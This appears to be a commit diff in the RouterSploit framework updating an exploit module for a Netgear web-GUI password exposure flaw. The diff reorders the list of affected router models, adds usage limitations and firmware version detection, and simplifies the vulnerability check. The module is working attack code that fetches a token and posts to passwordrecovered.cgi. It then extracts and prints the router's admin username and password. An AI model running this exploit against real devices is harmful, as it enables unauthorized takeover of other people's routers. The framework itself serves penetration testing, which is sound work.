Commit 21d0bb88 by Laurent Meirlaen

add limitations infos in exploit metadata

add firmware version detection
parent c87c568c
...@@ -29,26 +29,30 @@ class Exploit(exploits.Exploit): ...@@ -29,26 +29,30 @@ class Exploit(exploits.Exploit):
'http://kb.netgear.com/30632/Web-GUI-Password-Recovery-and-Exposure-Security-Vulnerability' 'http://kb.netgear.com/30632/Web-GUI-Password-Recovery-and-Exposure-Security-Vulnerability'
], ],
'devices': [ 'devices': [
'R8500', 'D6220',
'R8300', 'D6400',
'R7000', 'R6200v2',
'R6400',
'R7300DST',
'R7100LG',
'R6300v2',
'WNDR3400v3',
'WNR3500Lv2',
'R6250', 'R6250',
'R6300v2',
'R6400',
'R6700', 'R6700',
'R6900', 'R6900',
'R8000', 'R7000',
'R7100LG',
'R7300DST',
'R7900', 'R7900',
'WNDR4500v2', 'R8000',
'R6200v2', 'R8300',
'R8500',
'WNDR3400v2', 'WNDR3400v2',
'D6220', 'WNDR3400v3',
'D6400', 'WNR3500Lv2',
'WNDR4500v2',
], ],
'limitations': [
"This exploit only works if 'password recovery' in router settings is OFF.",
"If the exploit has already been run, then it might not work anymore until device reboot."
]
} }
target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url)
...@@ -62,15 +66,27 @@ class Exploit(exploits.Exploit): ...@@ -62,15 +66,27 @@ class Exploit(exploits.Exploit):
response = http_request(method="GET", url=url) response = http_request(method="GET", url=url)
if response is not None: if response is not None:
# Detect model
model = response.headers.get('WWW-Authenticate')[13:-1] model = response.headers.get('WWW-Authenticate')[13:-1]
print_status("Detected Netgear model: {}".format(model))
# Grab token if exists
token = self.extract_token(response.text) token = self.extract_token(response.text)
if token is False: if token is False:
token = "routersploit" token = "routersploit"
print_status("Token not found")
else: else:
print_status("Token found: {}".format(token)) print_status("Token found: {}".format(token))
# Detect firmware version
url = "{}:{}/currentsetting.htm".format(self.target, self.port)
response = http_request(method="GET", url=url)
fw_version = ""
if response is not None and response.status_code == 200:
fw_version = self.scrape(response.text, 'Firmware=', 'RegionTag').strip('\r\n')
print_status("Detected model: {} (FW: {})".format(model, fw_version))
# Exploit vulnerability
url = "{}:{}/passwordrecovered.cgi?id={}".format(self.target, self.port, token) url = "{}:{}/passwordrecovered.cgi?id={}".format(self.target, self.port, token)
response = http_request(method="POST", url=url) response = http_request(method="POST", url=url)
...@@ -78,7 +94,7 @@ class Exploit(exploits.Exploit): ...@@ -78,7 +94,7 @@ class Exploit(exploits.Exploit):
username, password = self.extract_password(response.text) username, password = self.extract_password(response.text)
print_success('Exploit success! login: {}, password: {}'.format(username, password)) print_success('Exploit success! login: {}, password: {}'.format(username, password))
else: else:
print_error("Exploit failed. Could not extract credentials.") print_error("Exploit failed. Could not extract credentials. Reboot your device and try again.")
else: else:
print_error("Exploit failed. Could not extract credentials.") print_error("Exploit failed. Could not extract credentials.")
else: else:
...@@ -117,7 +133,6 @@ class Exploit(exploits.Exploit): ...@@ -117,7 +133,6 @@ class Exploit(exploits.Exploit):
if response is not None: if response is not None:
header = response.headers.get('WWW-Authenticate') header = response.headers.get('WWW-Authenticate')
if header is not None and 'NETGEAR' in header.upper(): return header is not None and 'NETGEAR' in header.upper() # target is vulnerable
return True # target is vulnerable
return False # target is not vulnerable return False # target is not vulnerable
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment